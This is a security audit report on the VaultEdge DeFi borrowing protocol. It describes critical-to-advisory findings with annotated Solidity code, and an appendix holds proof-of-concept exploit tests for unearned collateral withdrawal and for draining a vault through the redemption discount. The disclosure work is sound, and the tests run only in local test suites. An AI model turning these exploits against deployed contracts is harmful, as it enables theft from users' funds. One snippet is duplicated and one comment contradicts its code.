Vaultedge

VaultEdge smart contract audit report

Vaultedge

SUMMARY

Critical 1
High 3
Medium 5
Low 4
Advisory 12
Total: 25

ABSTRACT

Dedaub was commissioned to perform a security audit of VaultEdge borrowing protocol. One critical and three high severity issues were identified, along with several ones of lower severity.

BACKGROUND

VaultEdge is a decentralized borrowing protocol that enables users to borrow against their entire portfolio of assets. It builds on the Yeti protocol, a Liquity v1 clone which allows the borrower to use a large number of collateral assets. The audit mainly focusses on improvements over the Yeti code, which are discussed in the section below.

SETTING & CAVEATS

This audit report mainly covers the contracts of the PR #37 of the VaultEdge Protocol, which contains changes between

  • The main branch at commit e6a0a4d80b6db9bf650c20aca6acb00f0886df77
  • and the audit-202502 branch at commit da5272d5d7d8538a2b52ed40e07a9a3a6772e228

Two auditors worked on the codebase for 25 days and 2 extra days for reviewing the fixes.

This is a “delta” audit covering the changes between the above commits, and not the whole codebase. It should be emphasized that a delta audit of this size is inherently difficult since it is hard to isolate the actual changes in the diff. In the case of VaultEdge, this issue was further aggravated due to the following issues:

  • The base commit (e6a0a4d80b6db9bf650c20aca6acb00f0886df77) is not the final version of the Yeti protocol, so the audited diff contains changes to Yeti itself. The auditors did not focus on Yeti itself, assuming that it functions correctly.
  • A very large amount of changes consisted of rebranding and renaming (“Yeti” to “VaultEdge”, “trove” to “vault”, etc), which makes the diff impossible to follow.
  • A lot of further code refactoring was applied, for instance to use the diamond pattern.

As a consequence, the auditors mainly relied on the individual sub-PRs which as listed in the description of the main PR (#5 #4 #9 #8 #10 #15 #22 #25 #27 #28). These are smaller and cleaner, which allows the auditors to follow the changes more easily. Note, however, that there are changes in the main PR that are not contained in the individual PRs, the auditors tried to identify all such changes.

Overall, the main changes that were audited are outlined below:

  • The protocol keeps track of the current debt and makes sure it does not exceed above a specific debt cap.
  • It enforces a max number of collaterals for each vault.
  • For redemptions:
  • Apply a discount on the price of the collateral based on the safety ratio (this is called “Soft liquidations”).
  • Split fees to fee recipient, treasury, and borrower.
  • Aa new ERC20 token VEUSD is added, pegged to USD along with a cross with cross chain minting and burning capabilities
  • Replacement of wrapped token contract with Vault token contracts which allows auto-compounding.
  • Apply interests on the debt based on the collaterals in the vault with different interest rate per collateral
  • Apply VEUSD rewards to open vaults based on the collateral using notifyRewardAmount
  • Remove the bootstrap period for the protocol.
  • Change the sorted vault to be sorted based on the boostAICR instead of ICR which relies on the boost factor derived from the borrower’s leverage and decays over time.
  • Use the diamond pattern for vault manager contracts.
  • Upgrade contracts to Solidity 0.8.x.
  • For liquidation by redistribution, add absorption of collaterals with no stakers.
  • Code-size and gas consumption optimizations and code cleanup.

The audit’s main target is security threats, i.e., what the community understanding would likely call “hacking”, rather than the regular use of the protocol. Functional correctness (i.e. issues in “regular use”) is a secondary consideration. Typically it can only be covered if we are provided with unambiguous (i.e. full-detail) specifications of what is the expected, correct behavior. In terms of functional correctness, we often trusted the code’s calculations and interactions, in the absence of any other specification. Functional correctness relative to low-level calculations (including units, scaling and quantities returned from external protocols) is generally most effectively done through thorough testing rather than human auditing.

VULNERABILITIES & FUNCTIONAL ISSUES

This section details issues affecting the functionality of the contract. Dedaub generally categorizes issues according to the following severities, but may also take other considerations into account such as impact or difficulty in exploitation:

Issue resolution includes “dismissed” or “acknowledged” but no action taken, by the client, or “resolved”, per the auditors.

PROTOCOL CONSIDERATION

Discounts are only applied for single collateral redemptions

Protocol Level Consideration | Status: ACKNOWLEDGED

The soft liquidation feature allows a redeemer to redeem VEUSD against a collateral at a discount price. However, the discount only applies if the redeemer performs a single collateral redemption using redeemCollateralSingle(). So if the redeemer chooses to redeem from multiple collaterals using redeemCollateral(), the discount is not applied. Therefore, for a redeemer who wishes to redeem a large amount of VEUSD (i.e., can only be covered by redeeming from multiple vaults), calling redeemCollateral() is not optimal as it forbids the redeemer from profiting from the discount. Instead, a better strategy for the redeemer is to first call redeemCollateralSingle() several times, to redeem the low safety ratio collaterals one by one from vault A that can be soft liquidated. Then call redeemCollateral() with the right amount of VEUSD that leads to closing vault A. Then repeat the same process again for vault B and so on… This overcomplicates the procedure of redemption on the user and increases its gas cost.

One suggestion for simplifying this procedure is to add another function redeemCollateralDiscount() which performs the same task as redeemCollateral() but prioritizes the redemption of low risk collaterals over the high risk ones while applying the discount.

CRITICAL SEVERITY

Incorrect calculation of the withdrawn collaterals in _adjustVault()

Critical | Status: RESOLVED

The function _adjustVault() calls _subColls() to perform the calculation of subtracting the removed collaterals (i.e., _collsOut) from the current collaterals in the vault. The function _subColls() runs a loop over all collaterals in the vault and iterates an index j over the collaterals in _collsOut. To make sure that all the collaterals in _colslOut are accounted (i.e., the vault owner is not trying to withdraw from his vault a collateral that he does not have), the following check on the index j is performed: _requireInputCorrect(j == _tokens2.length - 1) where _tokens2.length is the number of collaterals in _collsOut. However, this check is wrong because it does not capture all possible scenarios. For example, if there is only one collateral in _collsOut (i.e., _tokens2.length = 1) this check will pass even when not all collaterals in _collsOut are accounted for (i.e., j = 0). In general, the bug can be exploited by including at the end of _collsOut a collateral with higher index than all the indices of the current collaterals. This will allow the function _subColls() to execute without accounting the last collateral in _collsOut. Later in _adjustVault(), it will send that collateral to the vault owner even though he did not have it in the first place (i.e., _sendCollateralsUnwrap(contractsCache.activePool, params._collsOut, params._amountsOut).

function _subColls(...) internal view returns (address[] memory, uint256[] memory) {
  ...
  for (; i < coll1Len; ++i) {
  	uint256 tokenIndex1 = tokenIndices1[i];
  	// If skipped past tokenIndex 2, then that means it was not seen in token index 1 array and this is an invalid sub.
  	_requireInputCorrect(tokenIndex2 >= tokenIndex1);
  	// If they are equal do the subtraction and increment j / token index 2.
  	if (tokenIndex1 == tokenIndex2) {
      	coll3.amounts[k] = _coll1.amounts[i].sub(_amounts2[j]);
      	// if nonzero, add to coll3 and increment k
      	if (coll3.amounts[k] != 0) {
          	coll3.tokens[k] = _coll1.tokens[i];
          	++k;
      	}
      	// If we have reached the end of tokens2, exit out to finish adding the remaining coll1 values.
      	if (j == _tokens2.length - 1) {

          	++i;
          	break;
      	}
      	// Dedaub: j should be incremented before the previous if condition
      	++j;
      	tokenIndex2 = tokenIndices2[j];
  	} else {
      	// Otherwise just add just add the coll1 value without subtracting.
      	coll3.amounts[k] = _coll1.amounts[i];
      	coll3.tokens[k] = _coll1.tokens[i];
      	++k;
  	}
  }
  ...
  // Require no additional token2 to be processed.
  // Dedaub: The correct check is_requireInputCorrect(j == _tokens2.length);
  _requireInputCorrect(j == _tokens2.length - 1);

  ...
}
	// Require no additional token2 to be processed.
	// Dedaub: The correct check is_requireInputCorrect(j == _tokens2.length);
	_requireInputCorrect(j == _tokens2.length - 1);

	...
}

A proof of concept for an exploit for this vulnerability is provided in Appendix Proof of Concept - C1.

HIGH SEVERITY

Incorrect implementation of discounts in redeemCollateralSingle()

High | Status: RESOLVED

The protocol allows a redeemer to redeem collaterals at a discounted price from a borrower vault in a process called soft liquidation. The discount is applied in the function _redeemCollateralSingle() as:

$$collClaim = \frac{R}{P} * multiplier$$

and

$$multiplier = \frac{CCR - AICR}{0.4} * \alpha + 1$$

where

$$R$$

is the amount of VEUSD redeemed,

$$P$$

is the USD price of the collateral to be claimed from the vault,

$$\alpha$$

is the safety ratio, and

$$collClaim$$

is the amount of collaterals that the redeemer can claim. This formula is problematic because it allows the redeemer to claim more collateral than he should in a way that the ICR of the borrower’s vault decreases. In edge cases the ICR can even reach low values below the liquidation threshold (i.e., MCR) or even in extreme cases to an ICR = 0. Such a scenario is highly undesired because it leads to offset or distribute the debt of this extremely under collateralized vault causing losses for both the borrower and the SP stakers or other vault owners. To demonstrate the failure of this formula we demonstrate the relation between the newICR w.r.t. the oldICR.

$$oldICR = \frac{\alpha * C_0 * P}{D_0}$$$$ newICR = \frac{\alpha * C_1 * P}{D_1} = \alpha * P * \frac{C_0 - CollClaim}{D_0 - R} = \alpha * P * \frac{C_0 - \frac{R}{P}*multiplier}{D_0 - R}$$

$$ newICR = \alpha * P * \frac{C_0 - \frac{R}{P}*(\frac{CCR - AICR}{0.4} * \alpha + 1)}{D_0 - R} $$

If we normalize with

$$P = 1$$

and

$$ D_0 = 1$$

and we replace

$$CCR=1.5$$

, we get:

$$newICR = \frac{oldICR - \alpha*R*(1+3.75*\alpha-2.5 * oldICR*\alpha)}{ 1- R}$$

By drawing the newICR w.r.t the percentage of redemption (i.e. R) in different settings for oldICR and SR we get the following graphs.

**𝜶 = 1** **𝜶 = 0.7** **𝜶 =0.5**

It is clear from the above graphs that for some safety ratios, there is a specific value for oldICR where below it, the ICR decreases (i.e., newICR < oldICR). In fact, this critical value for oldICR where the ICR decreases upon redemption can be calculated as

$$oldICR = newICR$$$$ critICR = \frac{critICR - \alpha*R*(1+3.75* critICR*\alpha)}{ 1- R} $$$$critICR = \frac{\alpha+3.75*\alpha^2}{1+2.5 * \alpha^2}$$

This means for

$$\alpha=1, critICR = 1.357$$

, and for

$$\alpha=0.7, critICR = 1.14$$

, and for

$$\alpha=0.5, critICR = 0.88$$

.

To fix this issue, the formula used should be revisited. In particular, there should never be a discount for the price of the collateral that leads to its price being less than

$$\alpha*P$$

. To ensure this constraint, a better formula for the discount is:

$$ discount = \frac{CCR-ICR}{0.4}(1-\alpha)$$

. Then collClaim can be calculated as:

$$ collClaim = \frac{R}{P(1-discount)}$$

. With this formula, the relation between the newICR and oldICR can be depicted as follows:

$$ newICR = \frac{\alpha * C_1 * P}{D_1} = \alpha * P * \frac{C_0 - CollClaim}{D_0 - R} = \alpha * P * \frac{C_0 - \frac{R}{P*(1-discount)}}{D_0 - R}$$$$ newICR = \alpha * P * \frac{C_0 - \frac{R}{P*(1- 2.5*(CCR-ICR)(1-\alpha))}}{D_0 - R}$$

Based on the new formula, the graphs are shown below:

**𝜶 = 1** **𝜶 = 0.7** **𝜶 =0.5**

Note: the old formula used AICR in the computation of the discount. It makes more sense to use the ICR as we did in the suggested new formula.

A proof of concept for an exploit to this bug is provided in Appendix Proof of Concept - H1.

No upper cap on collToSendToSP when liquidation happens in Recovery mode

High | Status: RESOLVED

The function _getCappedOffsetVals() was changed to not apply an upper cap on the collToSendToSP. Therefore, collSurplus is left empty and the entire vault will be liquidated without preserving the surplus collaterals for the liquidated borrower. As a consequence, when the system is in recovery mode, and when the borrower’s AICR < TCR and the SP has sufficient VEUSD, the borrower can be liquidated and loses his entire collateral. As an example, the TCR can be just below 1.5 and the AICR of the borrower’s vault can be just below the TCR. In that case, the borrower will incur huge loss up to 50% of his debt. This behavior contradicts with the description of the protocol in the docs.

Apply latest bug fixes and changes from original Liquity repo

High | Status: RESOLVED

Based on the known issues in V1 & V2 we recommend to all V1 forks the integration of these additional safeguards captured in this the official Liquity repository, on branch main, commit 39f1f7f881de23200c296a892b891a6e2fc6e98f. If the changes are to be applied manually (instead of rebasing) our recommendation is to apply as a patch the differences to the main contracts (StabilityPool, TroveManager) between commits e38edf3dd67e5ca7e38b83bcf32d515f896a7d2f (old) in the main branch and

39f1f7f881de23200c296a892b891a6e2fc6e98f (new) in the main branch.

This patch is a total of 250 lines (most of them non-functionality, e.g., comments and renamings) and conservatively establishes that the stability pool never drops below 1 LUSD through liquidations, as well as limits rounding errors. Both Dedaub and the Liquity team recommend applying this patch as a conservative safeguard against the possibility of known issues being exploited in the future, and to reduce the risk of vulnerabilities being opened by code changes in forks.

MEDIUM SEVERITY

Wrong check on the number of collaterals in vault in _adjustVault()

Medium | Status: RESOLVED

The check for the number of assets in the vault in function _adjustVault() is incorrectly implemented. In particular a wrong variable vars.currAssets.length is used instead of vars.newAssets.length.

function _adjustVault(...) internal {
    ...
    // If there is an increase in the amount of assets in a vault
    if (vars.currAssets.length < vars.newAssets.length) {
    // Check that the result is less than the maximum amount of assets in a vault
        // Dedaub: It should be vars.newAssets.length
        _requireValidVaultCollsLen(contractsCache.controller, vars.currAssets.length);
    	}
    ...
}

Medium | Status: RESOLVED

In the contract PriceFeed the check whether the requested chainlink oracle is frozen is removed. A frozen oracle may return old price values and thus lead to wrong calculation of the collateral value. A check should be implemented using the timestamp provided in the response as suggested by the Chainlink team here. So, we recommend reverting these changes.

Incorrect amount sent to claimAddress in case of absorbed redistribution

Medium | Status: RESOLVED

Function _handleAbsorptionRedistribution() performs a wrong indexing for the array params.amounts[]. In particular, the index of the token to be sent to claimAddress should be passed on by the caller function and determined by the iterator i of the loop in function _processRedistribution().

function _handleAbsorptionRedistribution(...) private {
	...
	// Handle non-redistributable collateral

	bs.activePool.sendSingleCollateral(
    	bs.controller.getClaimAddress(),
    	absParams.token,
      // Dedaub: wrong index here. It should be i (from caller function)
    	params.amounts[params.tokensLen - 1]

	);
	params.amounts[params.tokensLen - 1] = 0;

}

_redeemCollateral() is using AICR instead of ICR

Medium | Status: RESOLVED

The function _redeemCollateral() is checking if the AICR of the borrower’s vault is higher than MCR. According to the docs, the correct condition for soft liquidation (i.e., redemption) is MCR < ICR < CCR.

function _redeemCollateral(...) internal {
	...
	// Process redemptions
	while (
    	currentBorrower != address(0) &&
    	totals.remainingVEUSD != 0 &&
    	_maxIterations != 0
	) {
    	_maxIterations--;

    	address nextUserToCheck = baseDs.sortedVaults.getPrev(currentBorrower);

    	// Dedaub: the check should be ICR(currentBorrower) >= MCR
    	if (_getCurrentAICR(currentBorrower) >= bs.controller.MCR()) {
        	...
    	}

    	currentBorrower = nextUserToCheck;
	}
	...
}

In addition, the function _getFirstValidVault() also uses AICR instead of ICR.

function _getFirstValidVault(VaultManagerBaseFacetStorage storage baseDs, address _firstRedemptionHint) internal view returns (address) {
	if (_isValidFirstRedemptionHint(baseDs.sortedVaults, _firstRedemptionHint)) {
    	return _firstRedemptionHint;
	}
	address currentBorrower = baseDs.sortedVaults.getLast();
	uint256 MCR = baseStorage().controller.MCR();
       // Dedaub: the check should be ICR(currentBorrower) < MCR
	while (currentBorrower != address(0) && _getCurrentAICR(currentBorrower) < MCR) {
    	currentBorrower = baseDs.sortedVaults.getPrev(currentBorrower);
	}
	return currentBorrower;
}

Note:

  • The docs sets the check for the ICR as strictly higher than the MCR for soft liquidation and it additionally allows vaults with ICR = MCR to be liquidated. However, we believe that this is a mistake and ICR = MCR should be under soft liquidation rather than liquidation. This is also suggested by the implementation of the liquidation which does not allow for vaults with ICR = MCR to be liquidated.

Wrong calculation of rewards in _updateDebtFromRewards()

Medium | Status: RESOLVED

The function VaultManagerFacet._updateDebtFromRewards() calculates the VEUSDDebtRewardPerUnitStaked using the decimals from collAddress. The value should be instead calculated in the format of 18 decimals because it is applied to the vault debts.

function _updateDebtFromRewards(address _token, uint256 _amount) internal {
	VaultManagerBaseFacetStorage storage baseDs = vaultManagerBaseStorage();
	uint256 dec = _getIERC20Decimals(_token);
	uint256 thisTotalStakes = baseDs.totalStakes[_token];
	uint256 adjustedTotalStakes;
	if (dec > 18) {
    	adjustedTotalStakes = thisTotalStakes / 10**(dec - 18);

	} else {
    	adjustedTotalStakes = thisTotalStakes * 10**(18 - dec);

	}
	// Dedaub: this should be formatted in 18 decimals
       //         _amount * 10 ** 18 / adjustedTotalStakes

	uint256 VEUSDDebtRewardPerUnitStaked = _amount * 10 ** dec / adjustedTotalStakes;

	...
}

LOW SEVERITY

_notifyRewarders() performs a division by zero in veVaultedge contract

Low | Status: ACKNOWLEDGED

In the contract veVaultEdge a division by zero might occur in the function _notifyRewarders() if a user stakes all his tokens for collateralGate and all of them were locked. This leads to preventing the user from updating his stakes through update() until collateralGate unlocks some of the locked tokens.

function _notifyRewarders(...) internal {
	UserInfo storage userInfo = users[_user];
	uint256 currentVeVaultedge = getTotalVeVaultedge(_user);
	for (uint256 i = 0; i < rewarders.length; i++) {
    	address rewarder = rewarders[i];
    	if (isUpdatableRewarder[rewarder]) {
        	uint256 veVaultedgeAmount = 0;
        	if (userInfo.totalVaultedge > 0) {
            	// Dedaub: division by zero if
               //          userInfo.totalVaultedge = userLockedVaultedgeAmount[_user]
            	veVaultedgeAmount = currentVeVaultedge * userInfo.vaultedgeStakes[rewarder] / (userInfo.totalVaultedge - userLockedVaultedgeAmount[_user]);

        	}
        	IRewarder(rewarder).updateFactor(_user, veVaultedgeAmount);
    	}
	}
}

interestTimeWindow is not initialized which leads to division by zero in tickInterest()

Low | Status: RESOLVED

The variable insertTimeWindow of VaultManagerBaseFacetStorage is initialized to zero. If this variable is not set, a division by zero will occur in _tickInterest() function when it performs the operation uint256 interestMultiplier = (interestRates[i] * timeElapsed) / baseDs.interestTimeWindow + 1e18;

BareVault does not implement the interface IVaultedgeVaultToken

Low | Status: RESOLVED

BareVault contract should implement the interface IVaultedgeVaultToken to allow other contracts to perform operations on wrapped tokens. However, the function depositFor() is not implemented. Consequently, the GLPVault which is based on BareVault does not have a depositFor() function. So if the protocol use a GLPVault token as collateral, the function BorrowerOperations::_singleTransferCollateralIntoActivePool() will cause errors when calling IVaultedgeVaultToken(_coll).depositFor().

lastVEUSDDebtReward_Distribution is unused storage variable

Low | Status: RESOLVED

The variable lastVEUSDDebtReward_Distribution is supposed to carry the error from one calculation to the next update but is never used. It is recommended to apply the error as done for lastVEUSDDebtError_Redistribution. Also, one should consider updating its name to lastVEUSDDebtRewardError_Distribution. Additionally, the division should happen with 10 ** 18 and not 10** dec.

CENTRALIZATION ISSUES

It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocol’s owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-profile, high-value protocols have significant centralization threats.)

Trust assumptions on permissioned roles

Centralization | Status: INFO

The VaultEdge contracts contain a number of operations performed by accounts with permissioned roles. In particular, the owner of the VaultEdgeController contract and the admins of the threeDayTimelock and twoWeekTimelock are trusted by the users. Additionally, the owners of several other auxiliary contracts such as the DebtCapManager contract, the price oracle contracts, the swapping routers contracts, the CommunityIssuance contract, etc. are also trusted. The protocol’s security depends to an important extent on these trust assumptions.

OTHER / ADVISORY ISSUES

This section details issues that are not thought to directly affect the functionality of the project, but we recommend considering them.

getVaultOwnersCount() and getVaultFromVaultOwnersArray() are implemented in the test contract.

Advisory | Status: RESOLVED

The functions IVaultManager::getVaultOwnersCount() and IVaultManager::getVaultOwnersCount() are implemented in the test contract VaultManagerFacetTester. An implementation can be found also in the contract VaultManager but this contract is deprecated. One should consider moving the implementations to the diamond pattern contracts.

isValidAdditionalMinter() function has no implementation

Advisory | Status: RESOLVED

The function IVaultedgeController::isValidAdditionalMinter() is not implemented but yet used in VaultManagerRedemptionsFacet::burn()

getVCAndRVCSystem() has wrong description

Advisory | Status: INFO

The description of ActivePool::getVCAndRVCSystem() needs to be updated to match the changes applied to this function. In particular, the netspec description of the function mentions "@notice Function for getting the VC value but using the Recovery ratio instead of the safety ratio”. This is not accurate as the function returns VC value based on both the safety and recovery ratios.

MultiVaultGetter contract uses a deprecated interface IWhitelist

Advisory | Status: ACKNOWLEDGED

Whitelist contract is replaced with VaultedgeController but MultiVaultGetter is still using IWhitelist interface for one of its storage variables (i.e., whitelist).

Advisory | Status: RESOLVED

One of the github url links in the description of StabilityPool is broken.

_computeCR() function of LiquityMath library is not used

Advisory | Status: RESOLVED

LiquityMath::_computeCR() is not used.

Advisory | Status: RESOLVED

Several contracts still have comments about the bootstrap period and the whitelist contract which are deprecated / rebranded.

_decPow can be optimized in VaultedgeMath library

Advisory | Status: RESOLVED

The math function _decPow in the libraries VaultedgeMath and LiquityMath can be optimized as follows:

function _decPow(uint _base, uint _minutes) internal pure returns (uint) {
	...
	while (n > 1) {
    	  if (n % 2 != 0) {
      	    y = decMul(x, y);
    	  }
    	  x = decMul(x, x);
    	  n = n.div(2);
	}
	return decMul(x, y);
}

IPriceCurve is an unused interface

Advisory | Status: RESOLVED

compound() in Vault and BaseVault contracts does not use the return value

Advisory | Status: RESOLVED

Vault.compound() and BaseVault.compound() always return zero so they can be made a non-returning function. Note that BaseVault._compound() is virtual but also GLPVault._compound() which overrides it returns always zero and none of the callers check the return value.

_bridgeMint() performs a redundant check on the role of the caller

Advisory | Status: ACKNOWLEDGED

veUSDToken_CrossChain._bridgeMint() performs the check _checkRole(BRIDGE_ROLE) but this check is not needed because the only caller veUSDToken_CrossChain.mint() already performs this check.

Compiler bugs

Advisory | Status: INFO

The code is compiled with Solidity 0.8.0. Version 0.8.0, in particular, has some known bugs, which we do not believe affect the correctness of the contracts.

DISCLAIMER

The audited contracts have been analyzed using automated techniques and extensive human inspection in accordance with state-of-the-art practices as of the date of this report. The audit makes no statements or warranties on the security of the code. On its own, it cannot be considered a sufficient assessment of the correctness of the contract. While we have conducted an analysis to the best of our ability, it is our recommendation for high-value contracts to commission several independent audits, a public bug bounty program, as well as continuous security auditing and monitoring through Dedaub Security Suite.

ABOUT DEDAUB

Dedaub offers significant security expertise combined with cutting-edge program analysis technology to secure some of the most prominent protocols in DeFi. The founders, as well as many of Dedaub’s auditors, have a strong academic research background together with a real-world hacker mentality to secure code. Protocol blockchain developers hire us for our foundational analysis tools and deep expertise in program analysis, reverse engineering, DeFi exploits, cryptography and financial mathematics.

APPENDIX

Proof of Concept - C1

This test is not a standalone test. It depends on helper functions and test setups from the test suites provided in the project. To run this test, place it under 'adjustVault() multi collateral' test suite in BorrowerOperationsMultiCollateral.spec.ts file.

it('Adjusts vault with collOut not in vault', async () => {

  await th.addMultipleERC20(
	alice,
	contracts.borrowerOperations.address,
	[collaterals.tokenA],
	[dec(500, 18)],
	{ from: alice, gasLimit : 5000000 }
  )

  await th.addMultipleERC20(
	bob,
	contracts.borrowerOperations.address,
	[collaterals.tokenB],
	[dec(500, 18)],
	{ from: bob, gasLimit : 5000000 }
  )

  await contracts.borrowerOperations
	.connect(aliceSigner)
	.openVault(
  	th._100pct,
  	VEUSDMinAmount,
  	alice,
  	alice,
  	[collaterals.tokenA.address],
  	[dec(50, 18)],
  	{ from: alice, gasLimit : 5000000 }
	)

	await contracts.borrowerOperations
	.connect(bobSigner)
	.openVault(
  	th._100pct,
  	VEUSDMinAmount,
  	bob,
  	bob,
  	[collaterals.tokenB.address],
  	[dec(50, 18)],
  	{ from: bob, gasLimit : 5000000 }
	)

  console.log((await collaterals.tokenB.balanceOf(alice)).toString())

  // Can still add collateral with 0 value but does not do anything.
  await contracts.borrowerOperations
	.connect(aliceSigner)
	.adjustVault(
  	[],
  	[],
  	[collaterals.tokenB.address],
  	[toBN(dec(1, 18))],
  	0,
  	false,
  	alice,
  	alice,
  	th._100pct,
  	{ from: alice, gasLimit : 5000000}
	)

console.log((await collaterals.tokenB.balanceOf(alice)).toString())
})

Proof of Concept - H1

This test is not a standalone test. It depends on helper functions and test setups from the test suites provided in the project. To run this test, place it under the 'Multi Collateral' test suite in VaultManager.spec.ts file.

it('redeemCollateralSingle() - Exploit discount feature', async () => {

  await th.addERC20(contracts.weth, A, contracts.borrowerOperations.address, toBN(dec(100, 30)), { from: A })
  await th.addERC20(contracts.weth, B, contracts.borrowerOperations.address, toBN(dec(100, 30)), { from: B })
  await th.addERC20(contracts.weth, C, contracts.borrowerOperations.address, toBN(dec(100, 30)), { from: C })
  await contracts.borrowerOperations
	.connect(ASigner)
	.openVault(
  	th._100pct,
  	await getOpenVaultVEUSDAmount(dec(20000, 18)),
  	A,
  	A,
  	[contracts.weth.address],
  	[dec(10000, 18)],
  	{ from: A }
	)
  await contracts.borrowerOperations
	.connect(BSigner)
	.openVault(
  	th._100pct,
  	await getOpenVaultVEUSDAmount(dec(20000, 18)),
  	B,
  	B,
  	[contracts.weth.address],
  	[dec(10000, 18)],
  	{ from: B }
	)

  // open vault C with 20000 VEUSD and 110 eth ( = 22000 $) => ICR = 110%
  await contracts.borrowerOperations
  .connect(CSigner)
  .openVault(
	th._100pct,
	await getOpenVaultVEUSDAmount(dec(20000, 18)),
	C,
	C,
	[contracts.weth.address],
	[dec(110, 18)],
	{ from: C , gasLimit: 3000000}
  )

  await contracts.vaultManager.setBaseRate(0)

  const C_debt_before = await contracts.vaultManager.getVaultDebt(C)
  const C_coll_before = await contracts.vaultManager.getVaultColls(C)
  const C_ICR_BEFORE = await contracts.vaultManager.getCurrentAICR(C)
  const SR = await contracts.vaultedgeController.getSafetyRatio(contracts.weth.address)
  const TCR_BEFORE = await contracts.vaultManager.getTCR()
  const delta = MRR.sub(C_ICR_BEFORE)
  const discount = delta.mul(SR).div(dec(4, 17))
  const multiplier = toBN(dec(1, 18)).add(discount)

  console.log('Safety Ratio of Eth:', SR.div(toBN(dec(1,18))).toString())
  console.log('Discount Multiplier:', multiplier.div(toBN(dec(1,18))).toString())
  console.log('Price of Eth:', (await contracts.priceFeed.getPrice()).div(toBN(dec(1,18))).toString(), "USD")

  console.log('Carol\'s debt before:', (C_debt_before.div(toBN(dec(1,18)))).toString(), "VEUSD")
  console.log('Carol\'s collateral before:', (C_coll_before[1][0].div(toBN(dec(1,18)))).toString(), "ETH")

  console.log('Carol\'s ICR before:', (C_ICR_BEFORE.div(toBN(dec(1,16)))).toString(), "%")

  console.log('TCR before:', (TCR_BEFORE.div(toBN(dec(1,16)))).toString(), "%")

  // VEUSD redemption is 500 VEUSD. This amount allows actual redemption (without fees) to be 11000 VEUSD, which leads to claiming 22000 $ worth of ETH which is the entire collateral
  // Note: we use 10999 instead of 11000 since the AICR cannot be exactly 0% because then we cannot find a hint < AICR.
  const VEUSDRedemption = toBN(dec(10999, 18))

  await contracts.veusdToken
	.connect(await ethers.getSigner(A))
	.approve(contracts.vaultManagerRedemptions.address, VEUSDRedemption.mul(2), { from: A })

  console.log('Redeeming', VEUSDRedemption.toString(), 'VEUSD ...')
  const tx = await contracts.vaultManagerCaller.connect(await ethers.getSigner(A)).redeemCollateralSingle(
	VEUSDRedemption,
	VEUSDRedemption,
	C,
	CSigner.address,
	"0x0000000000000000000000000000000000000000",
	toBN(dec(2,16)),
	contracts.weth.address,
	{ from: A, gasLimit: 30000000}
  )

  const waitedTx = await tx.wait()

  const C_debt_after = await contracts.vaultManager.getVaultDebt(C)
  const C_coll_after = await contracts.vaultManager.getVaultColls(C)
  const C_ICR_AFTER = await contracts.vaultManager.getCurrentAICR(C)
  const TCR_AFTER = await contracts.vaultManager.getTCR()

  console.log('Carol\'s debt after:', (C_debt_after.div(toBN(dec(1,18)))).toString(), "VEUSD")
  console.log('Carol\'s collateral after:', (C_coll_after[1][0].div(toBN(dec(1,18)))).toString(), "ETH")

  console.log('Carol\'s ICR after:', (C_ICR_AFTER.div(toBN(dec(1,16)))).toString(), "%")

  console.log('TCR after:', (TCR_AFTER.div(toBN(dec(1,16)))).toString(), "%")

  const emmitedRedemptionValues = th.getEmittedRedemptionValues(waitedTx)

  const actualVEUSDAmount = emmitedRedemptionValues[1]
  const actualVEUSDAmountFees = emmitedRedemptionValues[2]
  const actualETHAmount = emmitedRedemptionValues[4][0]

  console.log('Alice Redeemed VEUSD:', actualVEUSDAmountFees.add(actualVEUSDAmount).div(toBN(dec(1,18))).toString())
  console.log('Alice Claimed ETH:', actualETHAmount.div(toBN(dec(1,18))).toString(), "(", actualETHAmount.div(toBN(dec(1,18))).mul(200).toString(), " USD)")
})